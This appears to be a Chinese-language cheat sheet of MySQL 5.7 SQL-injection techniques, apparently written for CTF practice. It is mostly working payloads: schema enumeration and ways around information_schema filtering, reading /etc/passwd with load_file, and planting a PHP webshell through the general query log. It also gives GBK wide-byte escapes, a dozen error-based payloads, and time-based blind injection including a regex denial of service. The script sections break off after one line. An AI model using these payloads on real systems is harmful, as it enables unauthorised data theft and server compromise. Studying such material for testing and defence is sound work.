本地:mysql5.7
常见函数
查看当前数据库版本
- VERSION()
- @@VERSION
- @@GLOBAL.VERSION
当前登录用户
- user()
- current_user()
- system_user()
- session_user()
当前使用的数据库
- database()
- schema()
当前的操作系统
- @@version_compile_os
路径相关
- @@basedir : mysql安装路径
- @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
- @@DATADIR : 数据存储路径
- @@CHARACTER_SETS_DIR : 字符集设置文件路径
- @@LOG_ERROR : 错误日志文件路径:
- @@PID_FILE : pid-file文件路径
- @@BASEDIR : mysql安装路径:
- @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
字母/数字相关
- ASCII(): 获取字母的ascii码值
- BIN(): 返回值的二进制串表示
- CONV(): 进制转换
- FLOOR(): 函数只返回整数部分,小数部分舍弃。
- ROUND(): 函数四舍五入,大于0.5的部分进位,不到则舍弃。
- LOWER():转成小写字母
- UPPER(): 转成大写字母
- HEX():十六进制编码
- UNHEX():十六进制解码
字符串截取
- MID(column_name,start[,length]) start起始为1
- LEFT(str,length) length为从左边开始要返回的字符数
- RIGHT(str,length). length为从右边开始要返回的字符数
- SUBSTR(str,pos,len) 从pos开始截取len个,pos起始为1,pos 可以是负值
- SUBSTRING(str,pos,len). 与subsets()相同
常规语句
查询全部数据库名:
select group_concat(schema_name) from information_schema.schemeta limit 0,10 |
查询指定表名:
select group_concat(table_name) from information_schema.tables where table_schema='sqli' //可用十六进制 |
查询指定列名:
select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='sqli' |
获取指定数据:
select flag from flag |
绕过information_schema
一、利用mysql5.7新增的sys.schema_auto_increment_columns
sys.schema_auto_increment_columns
二、mysql默认存储引擎innoDB携带的表
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用
三、sys数据库
表单或视图 | 存储数据库名字段 | 存储表单名字段 |
---|---|---|
sys.innodb_buffer_stats_by_table | object_schema | |
sys.x$innodb_buffer_stats_by_table | object_schema | object_name |
sys.schema_auto_increment_columns | table_schema | table_name |
sys.schema_table_statistics | table_schema | |
sys.x$schema_table_statistics | table_schema | table_name |
sys.schema_table_statistics_with_buffer | table_schema | table_name |
sys.x$schema_table_statistics_with_buffer | table_schema | table_name |
sys.schema_tables_with_full_table_scans | object_schema | object_name |
sys.x$schema_tables_with_full_table_scans | object_schema | object_name |
sys.io_global_by_file_by_latency | file字段包含数据名和表单名 | file字段包含数据名和表单名 |
sys.x$io_global_by_file_by_latency | file字段包含数据名和表单名 | file字段包含数据名和表单名 |
sys.io_global_by_file_by_bytes | file字段包含数据名和表单名 | file字段包含数据名和表单名 |
sys.x$io_global_by_file_by_bytes | file字段包含数据名和表单名 | file字段包含数据名和表单名 |
sys.x$schema_flattened_keys | table_schema | table_name |
sys.x$ps_schema_table_statistics_io | table_schema | table_name |
performance_schema.objects_summary_global_by_type | object_schema | object_name |
performance_schema.table_handles | object_schema | |
performance_schema.table_io_waits_summary_by_index_usage | object_schema | object_name |
performance_schema.table_io_waits_summary_by_table | object_schema | object_name |
还有一些存储报错语句的和执行状态的表单或视图得知其中含有的数据库名和表单信息,通过获取query可以查看之前用到的查询语句。
视图 | 字段 |
---|---|
sys.statements_with_errors_or_warnings | query |
sys.statements_with_full_table_scans | query |
sys.statement_analysis | query |
sys.x$statement_analysis | query |
performance_schema.events_statements_summary_by_digest | digest_text(查询记录) |
performance_schema.file_instances | file_name(文件路径) |
读写文件
条件:
数据库允许导入导出(secure_file_priv)
当前用户用户文件操作权限(File_priv),尽量具有root权限
知道绝对物理路径
查看权限配置
select File_priv from mysql.user where user='root' and host='localhost' |
secure_file_priv 参数用来限制数据导入和导出操作的效果
- secure_file_prive=null ;限制mysqld 不允许导入和导出
- secure_file_priv=/tmp/ ;限制mysqld 的导入和导出只能在/tmp/目录下
- secure_file_priv=’’ ;不对mysqld 的导入和导出做限制
mysql 5.6.34版本以后,配置文件默认没有secure_file_priv这个选项,实际为NULL。并且无法用sql语句对其进行修改,只能够通过修改以下文件。
windows下 my.ini
[mysqld]
secure_file_priv=linux下 cat /etc/my.cnf
[mysqld]
secure_file_priv=
select load_file('/etc/passwd'); 可使用hex绕过引号 |
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
日志写shell
突破secure_file_priv 选项限制,通过日志文件,原理都是修改日志存放的路径及文件,通过执行操作把木马存入修改后的日志中,达到写入木马的目的。
mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志,只有查询日志和慢查询日志可利用。
查看日志状态(默认禁止)
show variables like 'general_log%'; 查询日志 |
开启日志记录
set global general_log = 'ON'; 查询日志 |
伪造(修改)日志文件的绝对路径以及文件名
set global general_log_file="/tmp/test.php"; 查询日志 |
执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中
select '<?php phpinfo() ?>'; 查询日志 |
关于慢查询日志
命令执行时间超过long_query_time设定的值(默认10s),则会保存至慢查询日志。查看long_query_time设定的值
show global variables like '%long_query_time%'; |
变量注入
select * from user limit 0,1 into @a,@b,@c; |
异或注入
select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1; |
order by盲注
select * from user where id='1' union select 1,2,binary('E') order by 3 |
无列名注入
列名重复(join…using)
条件:需要开启报错
select * from user where username='1' union select * from (select * from user a join user b)c //dump出第一个字段名: |
通过别名,引用列名(需要使用union)
条件:有查询内容回显
select * from user where username='-1' union select 1,1,group_concat(`2`) from (select 1,2,3 union select * from user)c |
比较盲注
条件:盲注条件
select ((select "f")>(select "flag{xxxx}")); |
塞个脚本
import requests |
宽字节注入
条件:mysql数据库编码为gbk,且 '
被转义成 \'
注入:使用 id=%df%27
原理:这里的 %27
会被变成 \%27
即 %5c%27
,再加上前边的 %df
变成 %df%5c%27
,而 %df%5c
在gbk字符集中表示汉子: 運,故语句便成 id=運'
,成功逃逸出单引号转义(php中通常是addslashes函数,或开启GPC,PHP5.4版本已移除GPC)
报错注入
floor
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
extractvalue
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); |
updatexml
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); |
geometrycollection
id=1 and geometrycollection((select * from(select * from(select user())a)b)); |
multipoint
id=1 and multipoint((select * from(select * from(select user())a)b)); |
polygon
id=1 and polygon((select * from(select * from(select user())a)b)); |
multipolygon
id=1 and multipolygon((select * from(select * from(select user())a)b)); |
linestring
id=1 and linestring((select * from(select * from(select user())a)b)); |
multilinestring
id=1 and multilinestring((select * from(select * from(select user())a)b)); |
exp
id=1 and exp(~(select * from(select user())a)); |
五种延时注入
一、sleep:
select sleep(5); |
二、benchmark:
select benchmark(10000000,md5(1)); |
三、笛卡尔积:
利用 and短路运算规则
进行时间盲注
mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); |
四、get_clock共享锁:
两个session进行操作
SESSION A
mysql> select get_lock('lihuaiqiu',1); |
SESSION B
mysql> select get_lock('lihuaiqiu',5); |
五、正则dos,rlike:
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1); |
脚本
布尔盲注
import requests |
REGEXP盲注
import requests |
延时注入
import time |
#sys.schema_table_statistics |